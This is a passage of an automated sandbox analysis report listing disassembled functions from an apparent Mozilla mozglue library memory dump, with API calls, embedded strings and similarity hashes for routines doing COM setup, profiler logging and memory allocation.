Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,6C5B1C5F), ref: 6C5B20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C5B20CD
__Init_thread_footer.LIBCMT ref: 6C5B20E1
FreeLibrary.KERNEL32 ref: 6C5B2124

Strings

combase.dll, xrefs: 6C5B20A9
CoInitializeSecurity, xrefs: 6C5B20C7

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction ID: 5b92a4b743317ea15f68d3e43842e71e00a187b22aa883503822c81697868b54
Opcode Fuzzy Hash: 81d5ff8c5f555e580e36bcecfa518a0618cbc3de2ca210ca6dd8382fae19bf42
Instruction Fuzzy Hash: E5217976200219EFDF11DF5ADC88EDA3F76FB4A365F104014FA05A2610D7399862CFAA

Function 6C6076C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C607705

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C607717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C60778F,00000000,00000000,00000000,00000000), ref: 6C607731
free.MOZGLUE(00000000), ref: 6C607760

Strings

}>^l, xrefs: 6C6076C4

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>^l
API String ID: 2538299546-4141363822
Opcode ID: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction ID: 3893732f0238d377a58bf1b99782178f79b1b980dc362e957950ebf602c93efd
Opcode Fuzzy Hash: 02ea93f5d8dae6cc70c534ca2b7b28a8e68b0bddd1472283d0ac95af12868c13
Instruction Fuzzy Hash: FF11C8B1A05215ABD710AFB69D44BAB7EF8EF86354F144429F848E7300E7719C4087F6

Function 6C5B1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C5B1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C5B1FFD
__Init_thread_footer.LIBCMT ref: 6C5B2011
FreeLibrary.KERNEL32 ref: 6C5B2059

Strings

combase.dll, xrefs: 6C5B1FD9
CoCreateInstance, xrefs: 6C5B1FF7

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction ID: 2d0b8be81770f0a479099af5416ad86b74d219a1b8ec5eb329186d73010cba62
Opcode Fuzzy Hash: a18edd1393dcf326f9966836c3931d27974555fc73e623fee84e296eb54c4658
Instruction Fuzzy Hash: 43115E75201219EFEF20CF26CD9CE963F79EB96355F104029F905A2640D7399861CF7A

Function 6C5B0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C5DD9F0,00000000), ref: 6C5B0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C5B0F3C
__Init_thread_footer.LIBCMT ref: 6C5B0F50
FreeLibrary.KERNEL32(?,6C5DD9F0,00000000), ref: 6C5B0F86

Strings

combase.dll, xrefs: 6C5B0F18
CoInitializeEx, xrefs: 6C5B0F36

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction ID: fdb6274280e0f1f393e42948ae0343e7f380d4eda2ee25400c2213caffb89feb
Opcode Fuzzy Hash: a7cee45d4ec562646d864cf8a1148395bd84483e521c1bae9e1d3e78dda1bc79
Instruction Fuzzy Hash: 1D117774705250DBDF00CF6ACE98E563B74FBD6356F00452AE905B2A40D73DA405CE5E

Function 6C5EF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF561

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF585
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5EF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C5EF499
[I %d/%d] profiler_resume, xrefs: 6C5EF239
[I %d/%d] profiler_pause_sampling, xrefs: 6C5EF3A8

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction ID: 03265f08b4a00b757ebf81af91c979ad22f8070b296c73ce3a419070fe799b41
Opcode Fuzzy Hash: 3c2e8acc4c31766ecfc975ffcc8cefc4c1e6c627542a3f463756e48522c68cc4
Instruction Fuzzy Hash: 96F054B6600214DBDB106F66DC8899A77BDFFCA2ADF100415EA4683702DB795C05CB79

Function 6C5B0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C5B0DF8), ref: 6C5B0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C5B0EA1
__Init_thread_footer.LIBCMT ref: 6C5B0EB5
FreeLibrary.KERNEL32 ref: 6C5B0EC5

Strings

kernel32.dll, xrefs: 6C5B0E7D
GetProcessMitigationPolicy, xrefs: 6C5B0E9B

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction ID: 1338323c2aa967b18e730aef20f6ff9aa4f5ce6327b88b9390b08b796e755f94
Opcode Fuzzy Hash: 8a41818a3f56e7a280dc361170db04a4a59b64484cd9ec0752716f28a7af0ae1
Instruction Fuzzy Hash: 99012CB0700391CBDB009FAAEAE4B523BB5E786715F100526ED81A2B40D778F4058E0F

Function 6C5EF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C5EF598), ref: 6C5EF621

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EF637
AcquireSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF645
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8,?,?,00000000,?,6C5EF598), ref: 6C5EF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C5EF62A

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction ID: b5152233cb28f46531ffb5a9e07f26628ce8b2b510106d1e6375e3429f58e837
Opcode Fuzzy Hash: 8a7f11ead181df86cb2777e4ba332622f2531f251d4c97163218a775b05a5fa2
Instruction Fuzzy Hash: 5DF054B5200214EBDB006F66DC8899A777DFFCA2ADF100415EA4683742CB7D5C068B79

Function 6C5E05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C5DCFAE,?,?,?,6C5A31A7), ref: 6C5E0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5A31A7), ref: 6C5E0627

Strings

<jemalloc>, xrefs: 6C5E05FA, 6C5E060F
: (malloc) Error in VirtualFree(), xrefs: 6C5E061B, 6C5E0625

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction ID: c4a98a956f55f95e307f566df6d2a84d968cb2cab198701521c56181794086b4
Opcode Fuzzy Hash: 1eb7e58eecf85674e7aecac0d09b90099c4523d2296cb72b96c586a10a3ddd04
Instruction Fuzzy Hash: 89E08CE2A0505037F614625AAC86DBB761CDBC6134F080039FE0E83701E94AAD1A91FA

Function 6C5B05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction ID: 71b87c169bac8725c5fed277119e8e624a08bb25e853a94f434066c43cba1a7e
Opcode Fuzzy Hash: b68d604123b8c700eab54a0339abaf282b528aaab9a3049d03e3def920749ec1
Instruction Fuzzy Hash: 95A139B0A00745CFDB14CF29CA94A9AFBF1BF89304F54866ED44AA7B00E735A945CF90

Function 6C6014A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6014C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6014E2
GetCurrentThreadId.KERNEL32 ref: 6C601546
InitializeConditionVariable.KERNEL32(?), ref: 6C6015BA
free.MOZGLUE(?), ref: 6C6016B4

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction ID: 3b85694a2f6a8376f6868fcd50267b928d270214ee3f971a7a68f408e6e03eb1
Opcode Fuzzy Hash: 44048b429ea6754209735bae832411f7e40f69ccb4947dfeba277eceffb089cc
Instruction Fuzzy Hash: BF610F71A00710DBCB268F25CD80BDAB7B0BF8A308F44851CED8A67701DB35E949CB96

Function 6C5F9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5F9FDB
free.MOZGLUE(?,?), ref: 6C5F9FF0
free.MOZGLUE(?,?), ref: 6C5FA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5FA0BE
free.MOZGLUE(?,?), ref: 6C5FA0D5
free.MOZGLUE(?,?), ref: 6C5FA0EB

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction ID: 74aece96fda5623bc8688944c29c6a797c44acc8eec3979e0743e9e3e39b448e
Opcode Fuzzy Hash: 4b881e98307a118350d239a9dec2129b820f3c9570dda4f10f7e0b7b6b869ee0
Instruction Fuzzy Hash: 18617E755086419FC715CF58C88059AB3F5FFC8328F54865DE8A99B602EB32E986CFC2

Function 6C5FDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5FD38A,?), ref: 6C5FDC6F
free.MOZGLUE(?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5FD38A,?), ref: 6C5FDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5FD38A,?), ref: 6C5FDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5FD38A,?), ref: 6C5FDD4A

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction ID: 2d63cb209887d0d031ff30217980f1014a49cbd843916cfc64a0fb1d48de12b9
Opcode Fuzzy Hash: c08c1ccf4efd4da386da43b8dcadabfca917e8693be9ecacc61973521901cc57
Instruction Fuzzy Hash: 64417CB5A00205CFCB04CF99C880A9AB7F5FF88314B654569D956ABB10D731FC01CFA0

Function 6C5FC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5FC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5FC842

Part of subcall function 6C5FCAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C61B5EB,00000000), ref: 6C5FCB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C5FC863
std::_Facet_Register.LIBCPMT ref: 6C5FC875

Part of subcall function 6C5DB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C61B636,?), ref: 6C5DB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5FC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FC8BC

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction ID: 638bb263159ba921fc3deb8abe963efe96c466e93e2d62a016edb220d9f0fc37
Opcode Fuzzy Hash: 372f53dbc90f242488522381ef2b13e9eca26b3d168d7c1e8c2bcde9812e1485
Instruction Fuzzy Hash: 12118171B002099BCB04EFA6CCC48EE7BB5EF89354F040529E51697340DB34A909CB99

Function 6C5DF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C5DF480

Part of subcall function 6C5AF100: LoadLibraryW.KERNEL32(shell32,?,6C61D020), ref: 6C5AF122
Part of subcall function 6C5AF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C5AF132

CloseHandle.KERNEL32(00000000), ref: 6C5DF555

Part of subcall function 6C5B14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C5B1248,6C5B1248,?), ref: 6C5B14C9
Part of subcall function 6C5B14B0: memcpy.VCRUNTIME140(?,6C5B1248,00000000,?,6C5B1248,?), ref: 6C5B14EF

Part of subcall function 6C5AEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C5AEEE3

CreateFileW.KERNEL32 ref: 6C5DF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C5DF523

Strings

\oleacc.dll, xrefs: 6C5DF4CB

Memory Dump Source

Source File: 00000000.00000002.2537895062.000000006C5A1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2537861549.000000006C5A0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538003967.000000006C62E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2538037426.000000006C632000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction ID: 2134da9321acfbda9a6b5df98b8c6eeec316a76fa6e4674f37b20f2ee9753eb0
Opcode Fuzzy Hash: c66cd70beb3a11533f2396de786440cd85da727da81c3c71a35881a7fac4d29a
Instruction Fuzzy Hash: EA41BA30618710DFE720DF69CC84A9BB7F4AF84318F100B1CE59193650EB34E94A8B9A

Function 6C5EE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
